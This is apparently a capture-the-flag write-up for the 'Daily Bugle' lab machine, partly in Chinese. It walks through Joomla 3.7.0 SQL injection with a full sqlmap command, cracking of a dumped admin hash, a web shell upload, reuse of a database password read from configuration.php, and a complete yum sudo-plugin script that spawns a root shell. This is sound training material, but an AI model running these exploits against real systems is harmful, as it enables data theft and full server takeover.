---
# System prepended metadata

title: Daily Bugle
tags: [vulnerableMachine, linuxMachine]

---

# Daily Bugle

###### tags: `vulnerableMachine` `linuxMachine`


[TOC]



## Recon 

![](https://i.imgur.com/Kj1CXxq.png)



port -> 22 ssh , 80 port 

OS: cent OS 

![](https://i.imgur.com/cuZr1FC.png)

```
spider man 
```

### check favicon 



![](https://i.imgur.com/BVJbJoG.png)

```
http://10.10.131.129/templates/protostar/favicon.ico
```

![](https://i.imgur.com/sr4iCZL.png)

```
d41d8cd98f00b204e9800998ecf8427e
```


![](https://i.imgur.com/Fw9RZUn.png)

```
d41d8cd98f00b204e9800998ecf8427e:Zero byte favico
```

Zero byte framework 


### Walking 

```
==> DIRECTORY: http://10.10.131.129:80/administrator/                                          
==> DIRECTORY: http://10.10.131.129:80/bin/                                                    
==> DIRECTORY: http://10.10.131.129:80/cache/  


==> DIRECTORY: http://10.10.131.129:80/components/                                             
==> DIRECTORY: http://10.10.131.129:80/images/                                                 
==> DIRECTORY: http://10.10.131.129:80/includes/
==> DIRECTORY: http://10.10.131.129:80/language/                                               
==> DIRECTORY: http://10.10.131.129:80/layouts/                                                
==> DIRECTORY: http://10.10.131.129:80/libraries/                                              
==> DIRECTORY: http://10.10.131.129:80/media/                                                  
==> DIRECTORY: http://10.10.131.129:80/modules/                                                
==> DIRECTORY: http://10.10.131.129:80/plugins/  
+ http://10.10.131.129:80/robots.txt (CODE:200|SIZE:836)                                       
==> DIRECTORY: http://10.10.131.129:80/templates/                                              
==> DIRECTORY: http://10.10.131.129:80/tmp/      
```

http://10.10.131.129/administrator/
->Joom framework 


### Using joom scanner 

https://github.com/OWASP/joomscan




Joom version 
->3.7.0

![](https://i.imgur.com/mv3XJQ4.png)

![](https://i.imgur.com/RywjXyK.png)
```
http://10.10.131.129/administrator/components                                                   
http://10.10.131.129/administrator/modules                                                      
http://10.10.131.129/administrator/templates                                                    
http://10.10.131.129/administrator/includes                                                     
http://10.10.131.129/administrator/language                                                     
http://10.10.131.129/administrator/templates 
```

Exploit-DB


![](https://i.imgur.com/qXgTG6F.png)



![](https://i.imgur.com/a0BBEZ9.png)


```
POST /administrator/index.php HTTP/1.1

Host: 10.10.131.129

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 108

Origin: http://10.10.131.129

Connection: close

Referer: http://10.10.131.129/administrator/

Cookie: eaa83fe8b963ab08ce9ab7d4a798de05=e2lfgvsb92kc3k53278prs9uk2; 2b01af51830ca9615359108de04d9ca1=7jjmlk2dp3v3mpbi5df030giu0

Upgrade-Insecure-Requests: 1



username=meow&passwd=meow&option=com_login&task=login&return=aW5kZXgucGhw&81e1634de28518ec230400f408a45bd5=1
```



## Getting Initial Access


## Way 1: Using SQLmap 


https://www.exploit-db.com/exploits/42033


SQL exploit command 

```
sqlmap -u "http://&ltremote-ip>/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomla -T '#__users' --dump
```

It's not unstable 

## Way 2: python script 

https://github.com/XiphosResearch/exploits/blob/master/Joomblah/joomblah.py

this script program have a type error 

```
result += value ->  result += value.decode('utf-8')
```

![](https://i.imgur.com/m3ISgF1.png)

```
Found user ['811', 'Super User', 'jonah', 'jonah@tryhackme.com', '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm', '', '']
```

Username -> jonah
Hash password -> $2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm


### Check hash type 

![](https://i.imgur.com/3S2d0NV.png)

hash type -> bcrypt


```
password->spiderman123
```

    
Login Success 

![](https://i.imgur.com/BODLtw9.png)




SHELL upload 


![](https://i.imgur.com/ClKLKf7.png)


![](https://i.imgur.com/JYZDjnr.png)


## Privilege Elevation

Apache -> home User 

![](https://i.imgur.com/Zlb90Xj.png)

```
jjameson:x:1000:1000:Jonah Jameson:/home/jjameson:/bin/bash
```

-> JJameson User

we could find out the web configure file 
It always have some credentials to login in Database HAHA

```
Apache 
cd /var/www/html

cat configuration.php
```

```
public $dbtype = 'mysqli';
        public $host = 'localhost';
        public $user = 'root';
        public $password = 'nv5uz9r3ZEDzVjNu';
        public $db = 'joomla';



  public $mailfrom = 'jonah@tryhackme.com';
        public $fromname = 'The Daily Bugle';
        public $sendmail = '/usr/sbin/sendmail';

```

Try login by ssh 

User -> jjameson
password -> nv5uz9r3ZEDzVjNu


![](https://i.imgur.com/kQEMFFN.png)

login success 

SUDO prvilege yum 

```
TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF

cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF

cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
  os.execl('/bin/sh','/bin/sh')
EOF

sudo yum -c $TF/x --enableplugin=y
```


TF=$(mktemp -d) -> 創建一個臨時目錄，並將目錄的路徑存儲在變數 `TF` 中。


這段腳本的整體作用是在利用 yum 套件管理器的外掛程式功能，將 yum 外掛程式安裝到系統中，並且在啟動外掛程式時呼叫一個 shell 程式


![](https://i.imgur.com/H4yxnBQ.png)

